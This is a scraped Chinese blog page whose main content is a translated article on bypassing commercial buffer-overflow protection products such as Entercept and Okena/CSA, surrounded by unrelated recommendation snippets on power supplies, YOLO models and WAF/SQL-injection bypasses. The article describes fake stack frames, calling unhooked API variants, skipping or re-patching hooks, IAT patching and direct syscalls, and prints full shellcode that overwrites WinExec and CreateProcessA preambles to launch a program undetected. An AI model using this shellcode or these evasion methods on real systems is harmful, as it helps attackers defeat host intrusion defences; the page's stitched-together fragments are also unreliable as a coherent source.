绕过缓冲溢出防护系统

KernelLibrary.jl:用于内核回归、SVM 等的内核函数库 内核库文件 用于内核回归、SVM 等的内核函数的 Julia 库。 大多数内核定义取自 crsouza.blogspot.com/2010/03/kernel-functions-for-machine-learning.html 包括: 线性内核 多项式核 拉普拉斯核 高斯核 方差分析内核 径向基函数 (RBF) 核 分数 RBF 内核 有理二次核 多二次核 逆多二次核 循环内核 球形内核 波内核 电源内核 日志内核 样条内核 柯西内核 卡方核 直方图交集核 广义直方图交集核 广义 T-Student 内核 傅立叶内核 双曲正切(Sigmoid)核 小波核 平移不变小波核 立即下载

绕过缓冲溢出防护系统

--[1-介绍
近来一段时间,一些商业化的安全机构开始提出一些方案来解决缓冲区溢出问题。本文分析这些保护方案,并且介绍一些技术来绕过这些缓冲区溢出保护系统.

现在不少商业化组织创造了许多技术来防止缓冲区溢出。最近,最流行的一种技术是栈回溯技术,它是一种最容易实现的防溢出技术,但是同时它也是最容易被攻击者绕过的一项技术.

值得一提的是,许多著名的商业化产品,比如Entercept和Okena就使用了这项技术。

--[2-栈回溯
现存的大多数商业安全体系实际上并不是防止缓冲区溢出,而是试图检测Shellcode的执行.

最普遍的检测Shellcode的技术是检查代码页的权限,通过检测代码是否在一个可写的内存页上执行来判断是否执行了Shellcode.这种办法是可行的,因为代码段的内存属性通常是不可写的,并且X86体系不支持non-executable这种内存属性位。

有些溢出防护体系也执行一些额外的检查,用来判断代码的内存页是否属于一个PE文件节区的内存映射,并且不属于一个匿名的内存节区

[-----------------------------------------------------------]

page = get_page_from_addr( code_addr );
if (page->permissions & WRITABLE)
return BUFFER_OVERFLOW;

ret = page_originates_from_file( page );
if (ret != TRUE)
return BUFFER_OVERFLOW;

[-----------------------------------------------------------]
Pseudo code for code page permission checking
依赖栈回溯的缓冲区溢出保护技术(BOPT)并不真正创建一个不可执行的堆栈段,而是通过Hook操作系统调用来监测Shellcode的执行。

大多数的操作系统可以在用户态或者内核态被Hook.

下面的章节我们讲述如何逃避内核hook,再下一节讲述如何绕过用户态hook。

--[3-逃避内核态hook
当hook内核时,主机入侵保护系统(HIPS)必须能够监测用户态的API是被哪里调用的。

由于kernel32.dll和ntdll.dll中的函数被大量的调用,一个API调用通常与真正的系统陷阱调用( syscall trap call)
相隔很多栈帧。因此,一些入侵防护系统依赖栈回溯来定位系统调用的原始调用者。

--[3.1-内核栈回溯
虽然栈回溯可以发生用户态和内核态,但是相比用户态组件而言,栈回溯技术对于缓冲区溢出保护技术的内核组件而言要重要得多.现有的商业BOPT的内核组件完全依赖栈回溯来检测Shellcode的执行,因此逃避内核Hook可以简化为使栈回溯机制失效。
栈回溯牵涉到历遍栈帧,和把返回地址传递给上层的缓冲溢出检测程序来进行检测。

通常情况下,有一个附加的"return into libc"检查,包括检查一个返回地址是否指向Call或者Jmp的下一条指令。最基本的栈回溯操作的代码(通常被用于BOPT),就像下面这个一样
[-----------------------------------------------------------]

while (is_valid_frame_pointer( ebp )) {
ret_addr = get_ret_addr( ebp );

if (check_code_page(ret_addr) == BUFFER_OVERFLOW)
return BUFFER_OVERFLOW;

if (does_not_follow_call_or_jmp_opcode(ret_addr))
return BUFFER_OVERFLOW;

ebp = get_next_frame( ebp );
}

[-----------------------------------------------------------]
Pseudo code for BOPT stack backtracing
当讨论如何逃避栈回溯,最要弄明白的一点就是栈回溯如何在X86体系上工作的,当调用一个函数时,一个典型的栈帧看起来就像下面这个一样:

: :
|-------------------------|
| function B parameter #2 |
|-------------------------|
| function B parameter #1 |
|-------------------------|
| return EIP address |
|-------------------------|
| saved EBP |
|=========================|
| function A parameter #2 |
|-------------------------|
| function A parameter #1 |
|-------------------------|
| return EIP address |
|-------------------------|
| saved EBP |
|-------------------------|
EBP寄存器指向下一个栈帧。没有EBP寄存器,就会非常困难,或者根本不可能正确地标识和追踪所有的栈帧

现代编译器通常不使用EBP作为栈帧指针,而是作为一个通用寄存器,经过EBP优化,一个栈帧看起来如下

|-----------------------|
| function parameter #2 |
|-----------------------|
| function parameter #1 |
|-----------------------|
| return EIP address |
|-----------------------|
注意EBP寄存器并没有出现在栈中,没有EBP寄存器,缓冲区溢出检测技术就没法准确地实施栈回溯.这样一来,他们就很难进行检测,一个简单的"return into libc "型的攻击就可以绕过保护。

简单的调用比BOPT hook住的API更底层的API可以使这种检测技术失效。

--[3.2-伪造栈帧

由于栈是在Shellcode的完全控制之下的,所以可以在API调用之前彻底更改它的内容,专门改造过的栈帧可以被用来绕过缓冲溢出的监测.

如同前面解释的那样,缓冲溢出检测工具寻找格法代码的3个关键标志:只读的页属性,内存映射文件节区和指向call,jmp后面的指令的返回地址.Since function pointers change
calling semantics, BOPT do not (and cannot) check that a call or jmp
actually points to the API being called. Most importantly, the BOPT cannot
check return addresses beyond the last valid EBP frame pointer
(it cannot stack backtrace any further).

因此,逃避BOPT可以通过创建一个带有有效返回地址的最终(final)栈帧,这个返回地址必须指向一条驻留在只读内存页上的来自于内存映射文件节的,并且紧跟在一条call或者jmp指令之后的指令.假设伪造的返回地址合理的接近于第2个返回地址,Shellcodeo可以轻松地再次获得控制权

为了指向伪造的返回地址,理想的指令顺序是
[-----------------------------------------------------------]

jmp [eax] ; or call [eax], or another register
dummy_return: ... ; some number of nops or easily
; reversed instructions, e.g. inc eax
ret ; any return will do, e.g. ret 8

[-----------------------------------------------------------]
绕过内核BOPT组件很容易,因为它们必须依赖用户控制的数据(栈)来检验API调用的有效性,通过正确地操作栈,可以有效地结束站返回地址的分析

这种栈回溯逃避技术也影响用户态的hooks

--[4.逃避用户态hooks
假使在一个有效的内存区域内出现了一系列正确的指令,那么绕过内核缓冲溢出保护是可能的.相似的技术可以被用来绕过用户态的BOPT组件,更加的是,由于Shellcode运行的时候拥有和用户态Hook相同的权限,我们还能采取其他不少技术来逃避BOPT的监测.

--[4.1-实际问题-不完全的API Hooking
用户态缓冲溢出防护技术存在很多问题.例如攻击者会选择很多不同的办法来实现他们的目的,而溢出保护系统可能只能检测其中的一部分.

尝试预先判断一个攻击者会如何构造它的Shellcode是非常困难的,甚至是不可能的,要选择一种好的办法并不容易,有很多障碍横在你面前,如
a.没有同时考虑到API调用的UNICODE和ANSI版本
b.没有考虑到API的链状调用关系,比如很多kernel32.dll中的函数仅仅是把ntdll.dll中的函数微微包装
c.Microsoft Windows API的经常性的更改

--[4.1-没有Hook API的所有版本
实行用户态Hooking时,一种最常遇到的失误就是没有完全覆盖代码路径.为了阻止恶意代码,所有攻击者可以利用的API都必须被Hook.这就要求溢出保护系统Hook住攻击者必须用到的代码,然而,就像我们下面要揭示的那样,一旦一个攻击者已经开始执行他的代码,第3方保护系统就很难再掌握他所有的行动,事实上,我们已经测试过的商业保护系统中,没有一个能有效覆盖攻击者的代码路径

很多Windows的API有2个不同的版本,ANSI和UNICODE。ANSI函数通常以A结尾,而UNICODE以W结尾.ANSI的函数一般仅仅是UNICODE函数的简单包装,例如,CreateFileA是一个ANSI函数,传递给它的参数被它转换成UNICODE字符串,然后它再调用CreateFileW.除非我们Hook住API的ANSI和UNICODE2个版本,否则攻击者可以通过调用API的另一个版本来绕过我们的保护机制

例如,Entercept4.1 Hook了LoadLibraryA,但是它忘记了Hook LoadlibraryW.如果一个保护系统仅仅Hook了API的一个版本,那它应该Hook UNICODE版本的API,在这一方面,Okenal/CSA做得比较好,它Hook了 LoadLibraryA,LoadlibraryW,LoadlibraryExA,LoadlibraryExW.不幸的是,对于第3方溢出保护系统来说,简单的多Hook几个kernel32.dll的函数并不够.

--[4.1.2-没有Hook得足够深
在WindowsNT中,kernel32.dll只是Ntdll.dll得简单包装,但是大多数的溢出保护系统并没有Hook ntdll.dll里面的函数,这个错误和没有Hook API的2个版本很相似,攻击者可以直接调用ntdll.dll里的函数来绕过保护系统在Kernel32.dll里面设置的检查.

例如,NAI Entercept尝试检测Shellcode调用kernel32.dll中的GetProcAddress(),然而,Shellcode可以被改写成调用ntdll.dll的LdrGetProcedureAddress(),这可以达到相同的目的,并且绕过了检测.

一般而言,shellcode可以完全直接避开用户态的hook,通过调用系统调用来达到目的.(见4.5小节)

--[4.1.3-没有充分地Hook-
各种不同的Win32 API之间的相互作用是非常复杂的,并且很难弄清楚,一不小心就会给入侵者留下一个进入的窗口.

例如,Okena/CSA和NAI entercept都hook了WinExec试图防止攻击者执行一个进程,WinExec调用顺序如下
WinExec()-->CreateProcessA()-->CreateProcessInternalA()

Okena/CSA和NAI entercept Hook了WinExec()和CreateProcessA(),(参见附录A,,但是,这2种系统都没Hook CreateProcessInternalA()(被kernel32.dll导出),当编写Shellcode时,攻击者可以使用CreateProcessInternalA()来替代WinExec().

在调用CreateProcessInternalA()之前,CreateProcessA()压入2个NULL进栈,因此Shellcode只需要压入2个Null进栈,然后直接调用CreateProcessInteralA(),便可逃避这2种产品的用户态Hook的监测.

当新的DLLs和APIs发布时,Win32 API之间的相互作用更加复杂化了,这使问题更加复杂。第三方保护系统在实施他们的溢出保护技术的时候会很不利,一个小小的失误就可能被攻击者利用.

--[4.2-跳床的乐趣
大多数的Win32 API函数的开头5个字节是一样的,首先EBP被压栈,然后EBP被指向ESP的位置
[-----------------------------------------------------------]

Code Bytes Assembly
55 push ebp
8bec mov ebp, esp

[-----------------------------------------------------------]
Okena/CSA 和 Entercept都使用内联函数Hooking,他们覆盖函数的头5个字节为立即跳转指令(jmp)或者call.下面就是WinExec被hook后的头几个字节
[-----------------------------------------------------------]

Code Bytes Assembly
e8 xx xx xx xx call xxxxxxxx
54 push esp
53 push ebx
56 push esi
57 push edi

[-----------------------------------------------------------]
或者,头几个字节被改成jmp

[-----------------------------------------------------------]

Code Bytes Assembly
e9 xx xx xx xx jmp xxxxxxxx
...

[-----------------------------------------------------------]
很明显的,Shellcode很容易在调用函数之前验证函数是否被Hook,如果发现有保护系统的存在,Shellcode可以使用别的技术来绕过Hook.

--[4.2.1-补丁表跳转
当一个API被hook了,原始函数的头几个字节被存放在一张表中,这样溢出保护系统可以在监测完毕之后还原函数的功能,这些字节被放在一个补丁表中,这个补丁表驻留在一个进程空间某个区域中,当Shellcode检测到有Hook的存在时,它可以搜索补丁表,调用原始的函数,这可以完全避开hook,即使溢出保护系统监控了所有可能的代码路径也无济于事.

--[4.2.2-跳过Hook]
另外的办法,除了定位patch table表,Shellcode可以包含一份原始函数头,使用这份头部代码来开始执行API函数,由于Intel X86具有长度可变的指令,我们需要这样做

[-----------------------------------------------------------]

Shellcode:
call WinExecPreamble

WinExecPreamble:
push ebp
mov ebp, esp
sub esp, 54
jmp WinExec+6

[-----------------------------------------------------------]
如果调用路径中有别的函数被hook了,这种技术可能不会起作用。Entercept也hook了CreateProcessA(),这是被WinExec()调用到的函数,因此,为了逃避检测,shellcode里面还应该包含一份CreateProcessA()的入口代码.

--[4.3-重新修补Win32 APIs
如果使用用户态溢出保护系统组件时犯了某种根本错误,就算彻底hook了WIN32 APIs也没用

特定的系统在实施他们的API hook时会犯一系列的错误,为了能够改写被Hook的函数的入口代码,Dlls的代码段被设置为可写,Entercept设置kernel32.dll和ntdll.dll的代码段为可写,这样他就能修改代码段的内容,然而,Entercept从来不把可写标志复位!
由于这个严重的安全缺陷,攻击者可以用原始函数入口点复写被Hook过的函数,对于WinExec()和CreateProcessA()的例子而言,我们只要复写WinExec()和CreateProcessA()的头6个字节(为了对齐指令)
[-----------------------------------------------------------]
WinExecOverWrite:
Code Bytes Assembly
55 push ebp
8bec mov ebp, esp
83ec54 sub esp, 54

CreateProcessAOverWrite:
Code Bytes Assembly
55 push ebp
8bec mov ebp, esp
ff752c push DWORD PTR [ebp+2c]
[-----------------------------------------------------------]
下面的shellcode的例子可以非常有效的对付NAI Entercept,用的方法就是复写函数头
[-----------------------------------------------------------]

// This sample code overwrites the preamble of WinExec and
// CreateProcessA to avoid detection. The code then
// calls WinExec with a "calc.exe" parameter.
// The code demonstrates that by overwriting function
// preambles, it is able to evade Entercept and Okena/CSA
// buffer overflow protection.

_asm {
pusha

jmp JUMPSTART
START:
pop ebp
xor eax, eax
mov al, 0x30
mov eax, fs:[eax];
mov eax, [eax+0xc];

// We now have the module_item for ntdll.dll
mov eax, [eax+0x1c]

// We now have the module_item for kernel32.dll
mov eax, [eax]

// Image base of kernel32.dll
mov eax, [eax+0x8]

movzx ebx, word ptr [eax+3ch]

// pe.oheader.directorydata[EXPORT=0]
mov esi, [eax+ebx+78h]
lea esi, [eax+esi+18h]

// EBX now has the base module address
mov ebx, eax
lodsd

// ECX now has the number of function names
mov ecx, eax
lodsd
add eax,ebx

// EDX has addresses of functions
mov edx,eax

lodsd

// EAX has address of names
add eax,ebx

// Save off the number of named functions
// for later
push ecx

// Save off the address of the functions
push edx

RESETEXPORTNAMETABLE:
xor edx, edx

INITSTRINGTABLE:
mov esi, ebp // Beginning of string table
inc esi

MOVETHROUGHTABLE:
mov edi, [eax+edx*4]
add edi, ebx // EBX has the process base address

xor ecx, ecx
mov cl, BYTE PTR [ebp]
test cl, cl
jz DONESTRINGSEARCH


STRINGSEARCH: // ESI points to the function string table
repe cmpsb
je Found

// The number of named functions is on the stack
cmp [esp+4], edx
je NOTFOUND
inc edx
jmp INITSTRINGTABLE
Found:
pop ecx
shl edx, 2
add edx, ecx
mov edi, [edx]
add edi, ebx
push edi
push ecx
xor ecx, ecx
mov cl, BYTE PTR [ebp]
inc ecx
add ebp, ecx
jmp RESETEXPORTNAMETABLE

DONESTRINGSEARCH:
OverWriteCreateProcessA:
pop edi
pop edi
push 0x06
pop ecx
inc esi
rep movsb

OverWriteWinExec:
pop edi
push edi
push 0x06
pop ecx
inc esi
rep movsb

CallWinExec:
push 0x03
push esi
call [esp+8]

NOTFOUND:
pop edx
STRINGEXIT:
pop ecx
popa;
jmp EXIT

JUMPSTART:
add esp, 0x1000
call START
WINEXEC:
_emit 0x07
_emit 'W'
_emit 'i'
_emit 'n'
_emit 'E'
_emit 'x'
_emit 'e'
_emit 'c'
CREATEPROCESSA:
_emit 0x0e
_emit 'C'
_emit 'r'
_emit 'e'
_emit 'a'
_emit 't'
_emit 'e'
_emit 'P'
_emit 'r'
_emit 'o'
_emit 'c'
_emit 'e'
_emit 's'
_emit 's'
_emit 'A'
ENDOFTABLE:
_emit 0x00

WinExecOverWrite:
_emit 0x06
_emit 0x55
_emit 0x8b
_emit 0xec
_emit 0x83
_emit 0xec
_emit 0x54
CreateProcessAOverWrite:
_emit 0x06
_emit 0x55
_emit 0x8b
_emit 0xec
_emit 0xff
_emit 0x75
_emit 0x2c
COMMAND:
_emit 'c'
_emit 'a'
_emit 'l'
_emit 'c'
_emit '.'
_emit 'e'
_emit 'x'
_emit 'e'
_emit 0x00

EXIT:
_emit 0x90

// Normally call ExitThread or something here
_emit 0x90
}

[-----------------------------------------------------------]

--[4.4-攻击用户态组件
虽然逃避用户态溢出保护系统的hook和技术是非常有效的,但是我们还有别的好办法来绕过检测.因为shellcode和溢出保护系统都运行在相同的权限和地址空间下,这就使得shellcode可以直接攻击溢出保护系统本身.

基本上,攻击缓冲溢出保护系统就是推翻shellcode检测的执行机制

shellcode的有效性检查只有2个基本技术原则:
1.需要检测的数据是在被hook的API调用过程中动态决定的
或者
2.数据在进程启动时收集然后在每个API调用时候被检查
每种情况下,攻击者都可能破坏进程.

--[4.4.1-修补 IAT
相比执行他们的内存页属性函数,商业化的溢出保护系统通常使用操作系统提供的API函数.在WinNT中,他们被封装在ntdll.dll中,这些API通过PE的导入表被导入到用户态组件中,攻击者可以通过修改shellcode要用到的函数所在的dll的导出表,来改变API的位置,通过提供自己的API给溢出保护系统使用,我们可以轻易绕过检测.

--[4.4.2-修补 数据节
为了各种各样的原因,一个溢出检测系统可能使用一个预建的页属性的列表,这样我们就算改变了VirtualQuery()的地址(就是替换了这个函数)也没有用.为了破坏溢出检测系统,shellcode必须定位和修改这个列表。

--[4.5-直接调用Syscall
就像前面提到的那样,不是通过ntdll.dll去调用syscall,而是攻击者可以自己在shellcode里面直接调用syscall,虽然这个办法可以有效的对付用户态的检测组件,但是却没办法绕过内核态的检测组件.

为了利用这项技术,你必须明白内核函数如何使用参数,这些参数可能与kernel32.dll和ntdll.dll函数使用的参数不同.同样的,你必须知道系统调用的调用号,你可以动态的得到这个编号,通过使用与得到函数地址相似的办法,一旦你有了ntdll.dll里的函数地址,跳过一字节,然后读接下来的DWORD,这就是系统调用表中的系统调用号,这常用在rootkit里面

这里一段伪代码演示了如何直接调用NtReadFile

...
xor eax, eax

// Optional Key
push eax
// Optional pointer to large integer with the file offset
push eax

push Length_of_Buffer
push Address_of_Buffer

// Before call make room for two DWORDs called the IoStatusBlock
push Address_of_IoStatusBlock

// Optional ApcContext
push eax
// Optional ApcRoutine
push eax
// Optional Event
push eax

// Required file handle
push hFile

// EAX must contain the system call number
mov eax, Found_Sys_Call_Num

// EDX needs the address of the userland stack
lea edx, [esp]

// Trap into the kernel
// (recent Windows NT versions use "sysenter" instead)
int 2e

--[4.6-伪造栈帧
如同在3.2节讨论的那样,内核栈回溯可以通过伪造栈帧来避掉,shellcode可以伪造一个没有EBP寄存器的栈帧,由于栈回溯依赖EBP寄存来找到下一个栈帧,伪造的栈帧可以防止栈回溯通过伪造栈帧

当然,当EIP仍然指向一个驻留在可写的内存段中的shellcode时,生成假的栈帧是没有用的,为了绕过保护代码,shellcode需要使用一个位于不可写的内存区域的地址,这会产生一个问题,因为shellcode最终要重新获得执行的控制权.

为了重新获得控制权,我们使用"ret"指令,这个指令可以在内存中动态的搜索0xC3来得到

下面是一个普通的Loadlibrary("kernel32.dll")调用的例子

push kernel32_string
call LoadLibrary

return_eip:

.
.
.

LoadLibrary: ; * see below for a stack illustration

.
.
.
ret ; return to stack-based return_eip

|------------------------------|
| address of "kernel32.dll" str|
|------------------------------|
| return address (return_eip) |
|------------------------------|
就像先前解释的那样,溢出保护系统的代码先于LoadLibrary执行,由于返回地址落在一个可写的内存里面,保护系统记录了溢出行为并中止了目标进程

下面的代码演示了利用'ret'指令的技术

push return_eip
push kernel32_string

; fake "call LoadLibrary" call
push address_of_ret_instruction
jmp LoadLibrary

return_eip:

.
.
.

LoadLibrary: ; * see below for a stack illustration

.
.
.
ret ; return to non stack-based address_of_ret_instruction

address_of_ret_instruction:

.
.
.
ret ; return to stack-based return_eip
再一次的,溢出保护系统的代码先于LoadLibrary执行,但是这次,栈里面保存的返回地址是位于不可写内存中的,更不错的是,栈里面没有出现EBP寄存器,这样保护代码不能通过栈回溯来找到下一个栈帧,然后检测下一个栈帧的返回地址是否指向一个可写的内存。这就允许返回到ret时,shellcode调用LoadLibrary,ret指令弹出下一个返回地址出栈,然后使EIP指向它

|------------------------------|
| return address (return_eip) |
|------------------------------|
| address of "kernel32.dll" str|
|------------------------------|
| address of "ret" instruction |
|------------------------------|
更加的是,可是设置更加复杂的伪造的栈帧来扰乱保护代码

下面是一个使用'ret 8'来替代'ret'的伪造栈帧的例子
|--------------------------------|
| return address |
|--------------------------------|
| address of "ret" instruction | <- fake frame 2
|--------------------------------|
| any value |
|--------------------------------|
| address of "kernel32.dll" str |
|--------------------------------|
| address of "ret 8" instruction | <- fake frame 1
|--------------------------------|
这可以导致特殊的32位值出栈,是任何分析更加混乱

--[5-总结
现在主要的商用溢出保护系统并非防止堆栈溢出,而是尝试检测shellcode的执行.最常用的技术就是依赖栈回溯的代码页权限检查.

栈回溯历遍所有的栈帧,然后检查他们的返回地址是否位于一个可写的内存区域内,如果不是,则判断为shellcode.

本文挡展示了一些技术,用于绕过用户态和内核态溢出保护系统.其范围覆盖了处理函数入口代码和创建伪造的栈帧.

总而言之,现在的主流溢出保护系统都是有缺陷的,给我们一种不真实的安全感,在一个厉害的攻击者面前,这些系统显得不堪一击.

反激电源反馈环路设计:从TL431+PC817原理到动态补偿实战 本文深入解析了反激电源中由TL431和PC817构成的经典反馈环路设计。从静态工作点计算到动态补偿实战,详细阐述了如何通过Type II补偿网络优化环路稳定性与动态响应,并分享了应对光耦CTR离散性、布局噪声等常见调试难题的实用技巧,帮助工程师设计出高性能、高可靠的开关电源。 阅读详情

相关推荐

别再乱调NvM_WriteBlock了!手把手教你搞懂Autosar NVM状态机与读写时序

本文深入解析Autosar NVM状态机与读写时序,帮助开发者避免常见错误。通过详细的状态机解读、最佳实践代码示例和异常处理策略,提升嵌入式系统中数据存储的可靠性。特别针对NvM_WriteBlock的调用逻辑和状态机机制进行实战讲解,解决工程师在实际开发中遇到的异步写入问题。

weixin_33701617的博客 344

forward: Kernel Mode Sockets Library

创建时间:2006-01-13 更新时间:2006-01-16文章属性:转载文章提交:KiSSinGGer (kyller_clemens_at_hotmail.com)Kernel mode sockets library for the masses@ :: deep article :: Dec 31 2005, 02:27 (UTC+0) valerino writes: Kernel m

玄冰幽阁 1153

动态规划法:n*m方格前进问题

在一个n*m的方格中,m为奇数,放置有n*m个数,方格中间的下方有一人,此人可按照正前方相临的五个方向(方格)前进但不能越出方格。人每走过一个方格必须取此方格中的数。要求找到一条从底到顶的路径,使其数相加之和为最大。输出和的最大值。 算法设计: 可以使用动态规划方法,从顶部开始,将第二排的每个数加上顶部第一排的最优解,将6排的问题缩小为5排的问题,然后重复该操作,直到底部最后一排,此时

Winifred_1997的博客 4675

系统内核溢出漏洞提权

溢出漏洞是一种计算机程序的可更正性缺陷。溢出漏洞的全名:缓冲区溢出漏洞。因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区溢出漏洞可以修改内存中变量的值,甚至可以劫持进程,执行恶意代码,最终获得主机的控制权。利用Windows系统内核溢出漏洞提权是一种很通用的提权方法,攻击者通常可以使用该方法绕过系统中的所有安全限制。

qq_52579508的博客 1325

Unity Shader Graph 2D - Procedural程序化图形转动的环状六边形

Hexagon又称六边形,在游戏中是十分常见的基础形状,本文将使用程序化的六边形来制作多个环状六边形叠加的转动动画效果,实践Unity Shader Graph中的常用节点功能。

Giver的博客 1928

基于LLaMA-action模型的文档摘要任务微调

文档摘要是指从长文档中提取关键信息,生成简短而准确的总结。抽取式摘要:从原文中直接抽取关键句子或短语组成摘要。生成式摘要:通过生成新的句子来表达原文的核心内容。混合式摘要:结合抽取式和生成式方法,既保留原文的关键句子,又生成新的内容。新闻网站:自动生成新闻摘要,帮助用户快速了解新闻要点。社交媒体:为用户提供新闻摘要,便于分享和传播。学术搜索引擎:为用户提供学术文献的摘要,帮助用户快速筛选相关文献。学术写作辅助:帮助研究人员快速生成文献综述部分。企业内部文档管理:自动生成文档摘要,便于员工快速了解文档内容。

加入“Super Entity”,与全能开发团队共探AI智能体与数字人项目,开启前沿技术之旅。 1431

操作系统——缓冲区溢出

一、缓冲区溢出介绍 1988年,世界上第一个缓冲区溢出攻击–Morris蠕虫在互联网上泛滥,短短一夜的时间全世界6000多台网络服务器瘫痪或半瘫痪,不计其数的数据和资料被毁。造成一场损失近亿美元的空前大劫难! 那么,缓冲区溢出到底是怎么一回事呢? 缓冲区溢出就好比一个杯子倒太多的水,洒出来,这叫溢出。它是一种非常普遍、非常危险的漏洞,最常出现在C/C++编写的程序中。 早期,人们还不那么重视安全的...

zhaohong_bo的专栏 4550

【YOLO系列】YOLOv8详解:模型结构、损失函数、训练方法及代码实现

YOLOv8是Ultralytics团队2023年推出的高效目标检测框架,在速度与精度平衡、多任务支持和易用性方面实现突破。模型采用改进的CSPDarknet主干网络、C2f模块和SPPF加速结构,结合PAN-FPN特征融合和解耦检测头设计,支持目标检测、实例分割和关键点检测任务。创新性地使用CIoU定位损失、Focal Loss置信度损失和动态样本分配策略,显著提升检测性能。实验表明,YOLOv8较前代模型mAP提升5-10%,在TensorRT加速下可达1000FPS,提供5种尺寸灵活选择,成为实时目标

一碗白开水一 2779

使用GRUB

使用GRUB   转发自http://www.osdever.net/tutorials/grub.phpGRUB的主页为 http://www.gnu.org/software/grub/grub.en.html.=======================================================================获取GRUB===============

fscience的专栏 443

北京大学MuMo多模态肿瘤分类模型复现与迁移学习

本项目复现了北京大学MuMo多模态肿瘤分类模型,并针对特定医学影像数据集进行迁移学习。MuMo模型通过整合CT、MRI、PET等多模态医学影像数据,显著提升了肿瘤分类准确性。项目内容包括环境配置(Python 3.8+、PyTorch 1.9+)、数据预处理(DICOM/NIfTI格式处理、强度归一化)、多模态数据集类实现,以及训练验证测试集划分。关键特点是采用MONAI医学影像处理库,实现三维医学影像的标准化预处理流程,并支持多种模态数据的并行加载与联合训练,为后续模型复现和迁移学习奠定基础。

max500600的博客 1241

智能手表 BOM 表与版本管理记录

试产与量产阶段 智能手表 BOM 表与版本管理记录

hoony123的博客 1053

Buffer Overflow缓冲区溢出和保护措施

缓冲区溢出是指当数据写入某个缓冲区(buffer)时,,从而导致覆盖了相邻内存区域的情况。这种现象可能导致程序崩溃、数据损坏,甚至引发安全漏洞,允许攻击者利用这一漏洞执行恶意代码。比如这个代码中,在内存中,a中的元素和d其实是挨着的,如果给a赋值了超过了它当前容量的数据,那么就会覆盖d的内容,导致d的值混乱。

TranSad的博客 5711

【YOLO系列】YOLOv11详解:模型结构、损失函数、训练方法及代码实现

YOLOv11在目标检测领域实现重大突破,通过动态骨干网络(Dyna-Backbone)和FPN++架构,在保持高帧率(≥60FPS)的同时提升小目标检测精度(AP_S提升5.6%)。创新采用CIoU++损失函数和类别平衡Focal Loss,结合Mosaic-Plus数据增强,参数量减少18%至6.5M。实验显示,该模型在COCO数据集上实现更高mAP,特别适合移动端部署,Jetson Xavier平台能耗比优化至3.2W·ms⁻¹,支持目标检测、实例分割等多任务场景。关键创新包括动态深度调整和双向特征金

一碗白开水一 3444

渗透测试-浅析WAF绕过

前言 WAF 是什么? 全称 Web Application Firewall (WEB 应用防护系统),与传统的 Firewall (防火墙) 不同,WAF 针对的是应用层。 WAF是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一种网络安全产品。WAF可以增大攻击者的攻击难度和攻击成本,但是不是100%安全的。 目前市场上的WAF主要有以下几类: 基于硬件W...

道阻且长,行则将至 4698

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

Bypass 护卫神SQL注入防御(多姿势)

0x00 前言​   护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能。这边主要分享一下几种思路,Bypass 护卫神SQL注入防御。0x01 环境搭建护卫神官网:http://www.huweishen.com软件版本:护卫神·入侵防护系统 V3.8.1 最新版本下载地址:http://down.huw...

1959

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

SQL高级注入:混淆和绕过

转:【0×01】 -过滤规避(Mysql)########################本节将阐述基于PHP和MySQL的过滤规避行为以及如何绕过过滤。过滤规避是一种用来防止SQL注入的技术。这种技术可以用SQL函数,关键词过滤或者正则表达式完成。这就意味着过滤规避严重依赖如何储存一个黑名单或者正则表达式。如果黑名单或者正则表达式没有覆盖每一个注入情境,那么WEB程序对于SQL注入攻击来说仍旧是...

qq_37870222的博客 1264

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

IA-32 栈溢出攻击:从 GDB 调试到 NOP Slide 绕过 ASLR 的 3 种策略

本文深入探讨了IA-32架构下的栈溢出攻击技术,特别是在ASLR防护下的三种高级对抗策略:静态地址覆盖、跳板指令(JMP ESP)和NOP Slide技术。通过GDB调试技巧和实战案例,详细分析了每种策略的实施步骤、优势与限制,帮助安全研究人员理解并应对现代防护机制。

weixin_33691700的博客 312

网络安全零基础入门(第十章-5)Bypass-绕过Waf(上)

每日一句:一定要在授权的范围内进行测试 本篇内容:什么是bypass      Waf检测机制      常见绕Waf手法      建议 一、什么是bypass 1、安装安全狗 没啥说的,直接百度安全狗,下载安装 注意的是:安装狗的时候,PHP study运行模式一定要跳到“系统服务” 2、什么是Waf WAF是一个缩写,他的全名叫做Web应用防护系统(Web Application Firewall),是通过通过执行一系列针对HTTP/HTTPS的安全策略来 专门为Web应用提供保.

素笺 929

高级SQL注入:混淆和绕过

内容 ############# 【0×00】 – 简介 【0×01】 – 过滤规避(Mysql) 【0x01a】 – 绕过函数和关键词的过滤 【0x01b】 – 绕过正则表达式过滤 【0×02】 – 常见绕过技术 【0×03】 – 高级绕过技术 【0x03a】 – HTTP参数污染:分离与结合 【0x03b】 – HTTP参数参杂 【0×04】 – 如何保护你的网站

ncafei的博客 1万+

bypass最新版d盾mysql_Bypass 护卫神SQL注入防御(多姿势)

0x00 前言​ 护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能。这边主要分享一下几种思路,Bypass 护卫神SQL注入防御。0x01 环境搭建软件版本:护卫神·入侵防护系统 V3.8.1 最新版本测试环境:IIS+ASP/ASPX+MSSQL IIS+PHP+MySQL0x02 WAF测...

weixin_29543939的博客 1076

绕过WAF进行sql注入

最近一直纠结cuit 的一道渗透题,是关于绕过WAF的,也许是以前工具用多了,也许真的自己实力不行,很久都没做出来。百度了很多关于绕过WAF的资料,特来总结下。 一、首先让我们认识下什么叫做WAF Web应用防护系统,英文叫做Web Application Firewall。 Web应用防火墙的具有以下四个方面的功能: 1. 审计设备:用来截获所有HTTP数据或者仅仅满足某些规则的会话

dgy610927的专栏 841

WAFBypass一款高级WAF检测与绕过工具

